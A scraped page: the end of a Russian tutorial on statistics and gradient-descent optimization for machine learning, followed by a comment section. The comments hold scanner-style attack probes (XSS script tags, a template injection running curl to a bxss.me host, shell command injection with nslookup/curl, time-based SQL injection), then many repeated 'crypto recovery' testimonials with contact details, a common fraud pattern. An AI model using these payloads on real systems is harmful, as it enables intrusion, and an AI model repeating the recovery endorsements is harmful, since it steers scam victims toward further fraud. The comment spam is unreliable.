  • Может быть репрезентативной или нет.

Пример: жители города: выборка 1000 человек для анализа средней зарплаты.

Репрезентативная выборка — та, которая достаточно хорошо отражает свойства генеральной совокупности. Если взять 10 человек для того, чтобы узнать среднюю з/п по Санкт‑Петербургу, то это будет, конечно, совсем не репрезентативная выборка. Если взять 1 000 000 человек — уже будет сильно больше похоже на правду


Доверительные интервалы

Доверительный интервал — интервал, в котором с заданной уверенностью (обычно 95%) находится настоящий параметр генеральной совокупности.

Когда мы работаем с выборкой, мы почти никогда не знаем точные параметры генеральной совокупности (например, её настоящее среднее значение). Вместо этого мы оцениваем эти параметры и строим интервал в котором они, скорее всего, находятся

Пример: средний рост = 172 см. 95%-й интервал: [170, 174].


Статистические гипотезы

Статистическая гипотеза — предположение о распределении или параметрах. Мы проводим статистический тест, чтобы либо её принять, либо отклонить.

  • H_0нулевая гипотеза

  • H_1альтернативная гипотеза

Пример:

  • H_0: средний рост = 170

  • H_1: средний рост > 170

Если по результатам теста вероятность наблюдаемого значения при условии, чтоH_0верна, оказывается слишком малой (например, меньше 0.05), гипотезаH_0отвергается


Ошибки первого и второго рода

  • Ошибка I рода: отвергли H_0, хотя она верна (False Positive).

  • Ошибка II рода: не отвергли H_0, хотя верна H_1 (False Negative).

Обозначения:

  • \alpha — вероятность ошибки I рода (уровень значимости)

  • \beta — вероятность ошибки II рода

  • 1-\beta — мощность теста

При планировании эксперимента исследователь выбирает уровень значимости \alpha, а затем стремится минимизировать \beta — т.е. увеличить вероятность обнаружить эффект, если он есть

Пример. Рассмотрим клинический пример:

  • Нулевая гипотеза (H_0): пациент здоров.

  • Альтернативная гипотеза (H_1): пациент болен.

    Если мы проведем тест, то можем получить:

  • Ошибка первого рода: пациента ошибочно считают больным и назначают лечение (ложная тревога, False Positive, FP).

  • Ошибка второго рода: пациента ошибочно считают здоровым и не лечат (упущенная болезнь, False Negative, FN)

Что страшнее: много ошибок 1 рода или 2 рода? Зависит от контекста: в медицине — 2 рода, в банковской сфере — 1


Квантили

Формально, для уровня\alpha \in (0,1)квантиль q_\alpha определяется как число, удовлетворяющее условию: P(X\leq q_\alpha) = \alphaгде X — случайная величина

Интуитивно: квантили — значения, которые делят упорядоченный набор данных на равные части

  • Квантиль уровня медиана.

По смыслу это означает, квантиль уровня \alpha делит выборку на 2 части, причем слева будет лежать именно \alpha \% данных. Медиана делит выборку пополам — слева от медианы лежит половина выборки.


Квартили

Квартили — частный случай квантилей (делят данные на 4 части):

  • Q_1 = q_{0.25}

  • Q_2 = q_{0.5} (медиана)

  • Q_3 = q_{0.75}

  • \text{IQR} = Q_3 - Q_1 — межквартильный размах


Перцентили

Перцентили — квантили в процентах.

  • q_{23} — 23-й перцентиль (23% данных левее).

  • Медиана — 50-й перцентиль.


Box-plot (ящик с усами)

Box-plot — визуализация распределения на основе: min, Q_1, Q_2, Q_3, max. Они бывают удобны для проверки на то, есть ли в выборке выбросы, и для визуализации статистик.

2029dce19f02b3c36b7916079e18e010.pngdce0b64c400ef5673892d535e6eedad8.gif

Многомерное нормальное распределение

Оно задается плотностью распределения, которая уже зависит от вектора случайных величин (размера n):

f(\mathbf{x}) = \frac{1}{\sqrt{(2\pi)^k \det \Sigma}} \exp\left( -\frac{1}{2} (\mathbf{x}-\mu)^T \Sigma^{-1} (\mathbf{x}-\mu) \right)Плотность двумерного нормального распределения
Плотность двумерного нормального распределения
  • \mu — вектор средних

  • \Sigma — ковариационная матрица

Если мы вспомним условие для плотности распределения, то увидим, что там требуется,  чтобы интеграл от плотности по всей области был равен . Но как быть, если у нас несколько переменных? В этом случае мы будем интегрировать по всем переменным, в двумерном случае — по  и по . Для одномерного случая мы приводили интерактивную анимацию, показывающую, как вычисляется площадь под графиком. Там мы варьировали ширину прямоугольников и устремляли ее к нулю. В случае двумерного случая мы будем варьировать одновременно и ширину по , и ширину по
Если мы вспомним условие для плотности распределения, то увидим, что там требуется, чтобы интеграл от плотности по всей области был равен . Но как быть, если у нас несколько переменных? В этом случае мы будем интегрировать по всем переменным, в двумерном случае — по x и по y. Для одномерного случая мы приводили интерактивную анимацию, показывающую, как вычисляется площадь под графиком. Там мы варьировали ширину прямоугольников и устремляли ее к нулю. В случае двумерного случая мы будем варьировать одновременно и ширину по x, и ширину по y

Ковариация

Показывает совместное изменение двух СВ \xi, \eta:

\text{Cov}(\xi,\eta) = \mathbb{E}[(\xi-\mathbb{E}\xi)(\eta-\mathbb{E}\eta)]

Если ковариация\text{Cov}(\xi, \eta) положительна — переменные \xi, \eta растут вместе. Отрицательна — одна растет, другая падает. Равна нулю — переменные не зависят линейно.


Ковариационная матрица

Для набора СВ \xi_1,\dots,\xi_n можно построить ковариационную матрицу:

\Sigma=\left( \begin{matrix} \mathbb{D}\xi_1 &\text{Cov}(\xi_1, \xi_2)                   &\cdots&\text{Cov}(\xi_1, \xi_n)\\ \text{Cov}(\xi_2, \xi_1)&                   \mathbb{D}\xi_2&\cdots& \text{Cov}(\xi_2, \xi_n)&\\ \vdots                   &\vdots&\ddots&\vdots\\ \text{Cov}(\xi_n, \xi_1)&\text{Cov}(\xi_n,                   \xi_2)&\cdots&\mathbb{D}\xi_n \end{matrix}\right)_{n\times n}
  • Диагональ — дисперсия для каждой СВ

  • Вне диагонали — ковариации для всех пар случайных величин

Ковариация показывает, насколько величины меняются "вместе", это их "совместная" дисперсия
Ковариация показывает, насколько величины меняются "вместе", это их "совместная" дисперсия

Корреляция

Корреляция Пирсона между X_i, X_j:

R_{ij} = \frac{\text{Cov}(X_i, X_j)}{\sqrt{\mathbb{D}X_i}\cdot \sqrt{\mathbb{D}X_j}}

Из формулы видно, что корреляция получается нормализацией ковариации (делим на дисперсию). Это значит, что корреляция всегда лежит в диапазоне [-1,1]. Это безразмерная величина, поэтому удобно использовать ее для измерения связи между разными переменными.

639c44b31a5f4056f207fac5957b152a.gif

Корреляционная матрица — полезная штука при визуализации признаков, это помогает искать взаимосвязи между переменными. Она содержит коэффициенты корреляции между парами переменных (на диагонали — всегда 1). Корреляция Пирсона между переменными (признаками)X_i, X_jсчитается по формуле R_{ij}выше. Это будет число в матрице корреляций под номером (i,j). Посчитаем эти корреляции для всех пар переменных и запишем их в виде одной матрицы:

Пример матрицы корреляций Пирсона между признаками в выборке
Пример матрицы корреляций Пирсона между признаками в выборке

Корреляции бывают разные: линейная, ранговая, нелинейная:

  • Пирсона (линейная),

  • Спирмена (ранговая),

  • Кенделла (ранговая)

  • и другие (\varphi_k — нелинейная, например)

Центральная предельная теорема (ЦПТ)

Если X_n — выборка, то вычитая среднее и деля на среднеквадратичное отклонение (корень из дисперсии), в пределе при n (количестве элементов в выборке), стремящемся к бесконечности, получим выборку, распределенную стандартно нормально:

\frac{X_n - \mu}{\sigma} \xrightarrow{n\to\infty} \mathcal{N}(0,1)Сведение экспоненциального распределения к стандартному нормальному
Сведение экспоненциального распределения к стандартному нормальному

При этих манипуляциях в пределе любое распределение стремится к стандартному нормальному: с нулевым средним и единичной дисперсией.

Это может быть удобно, поскольку не все алгоритмы могут одинаково хорошо работать на произвольных распределениях — удобно свести выборку к стандартной нормальной и применить к ней известные методы (например, гауссовский наивный байес)


Закон больших чисел

При большом числе наблюдений выборочное среднее стремится к математическому ожиданию:

\bar{X}_n \to \mathbb{E}(X)Пример того, как часто выпадает орел при подбрасывании монетки. Если кинуть монетку бесконечное число раз, то количество выпавших орлов и решек будет ровно пополам
Пример того, как часто выпадает орел при подбрасывании монетки. Если кинуть монетку бесконечное число раз, то количество выпавших орлов и решек будет ровно пополам

Теория оптимизации. Численные методы

Возможно, что при первом знакомстве с нейросетями возникают определенные вопросы:

Именно на эти вопросы отвечают методы оптимизации, с помощью которых нейросетки могут чему‑то учиться: формально, решается задача оптимизации функционала качества, который формируется в конкретной задачке.

Если мы сумеем найти его оптимум (или решение, которое будет «достаточно хорошим»), то можно хлопать в ладоши и радоваться, что сетка чему‑то смогла научиться! Правда, это редко может послужить показателем хорошо обученной сетки, но это уже другая история...

Постановка задачи оптимизации

Во многих задачах ML, статистики и прикладной математики нужно найти такие параметры \theta, которые минимизируют или максимизируют целевую функцию.

\min_{\theta \in \mathbb{R}^n} L(\theta) \quad \text{или} \quad \max_{\theta \in \mathbb{R}^n} L(\theta)
  • \theta — вектор параметров модели (например, коэффициенты линейной регрессии)

  • L(\theta) — функция потерь (или логарифм правдоподобия)

Цель — найти такие параметры \hat{\theta}, при которых L(\theta) достигает экстремума:

\hat{\theta} = \arg\min_\theta L(\theta) \quad \text{или} \quad \hat{\theta} = \arg\max_\theta L(\theta)

\hat{\theta} — это оптимальный набор параметров модели.
Методы зависят от свойств L(\theta): выпуклость, гладкость, размерность, аналитическая форма.


Градиентный спуск

  • Градиент — направление наибольшего роста функции

  • Антиградиент — направление наискорейшего убывания

Алгоритм обновления:

\theta^{(t+1)} = \theta^{(t)} - \eta \nabla L(\theta^{(t)})
  • \eta — скорость обучения (learning rate)

Мы итеративно спускаемся вниз по поверхности L(\theta), пока не достигнем минимума.

1fe31764183b99c6e634045715bda2d6.gif

У нейросетей миллионы и миллиарды параметров, руками их настроить невозможно. Поэтому веса обучаются именно через градиентный спуск.
Хорошие параметры соответствуют минимуму функции потерь, где сеть ошибается меньше всего.


Проблемы градиентного спуска

  • Слишком большой \eta— можем перепрыгнуть через минимум

  • Слишком маленький \eta — медленная сходимость или застревание

Обычно берут \eta \approx 10^{-3}, но это гиперпараметр — зависит от модели и задачи.

Кроме того:

  • У реальных функций потерь сложный "рельеф", поэтому много локальных минимумов

  • Обучающих данных очень много, поэтому полный градиент считать дорого. На практике используют оптимизаторы — они представляют из себя приближенные методы (SGD, Momentum, RMSProp, AdamW и др.), которые пытаются разными способами улучшить сходимость градиентного спуска по сложному ландшафту функции потерь.

    Пример ландшафта функции потерь (приближенная визуализация). Видно, что поверхность рельефна, можно угодить в локальные минимумы. Размерность пространства, в котором находится функция потерь, совпадает с количеством параметров модели. Для современных сетей это миллионы и миллиарды измерений, что невозможно визуализировать. Чтобы получить трёхмерное представление (две оси — направления в параметрическом пространстве, третья — значение потерь), выбирают два направления в пространстве параметров и фиксируют остальные параметры
    Пример ландшафта функции потерь (приближенная визуализация). Видно, что поверхность рельефна, можно угодить в локальные минимумы. Размерность пространства, в котором находится функция потерь, совпадает с количеством параметров модели. Для современных сетей это миллионы и миллиарды измерений, что невозможно визуализировать. Чтобы получить трёхмерное представление (две оси — направления в параметрическом пространстве, третья — значение потерь), выбирают два направления в пространстве параметров и фиксируют остальные параметры

Что дальше?

Чем больше мы знаем, тем меньше мы знаем — поэтому при погружении в ML и соответствующую математику можно утонуть в изобилии информации. Иногда сложно понять, что именно из прочитанного действительно нужно, а что является просто вспомогательными знаниями, которые практически никогда не пригодятся.

Чтобы сэкономить время и двигаться по сути, вы можете написать мне в Telegram — вместе определим ваш уровень и составим план обучения. Я помогу оценить ваш уровень и подскажу, с чего лучше начать, чтобы максимально сократить путь при становлении ML-инженером и подсветить наиболее важные моменты. Подробнее — в профиле.

Есть вопросы?

Пиши в комментариях или в tg, буду рад обсудить интересующие вопросы. Подробнее — в профиле.

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

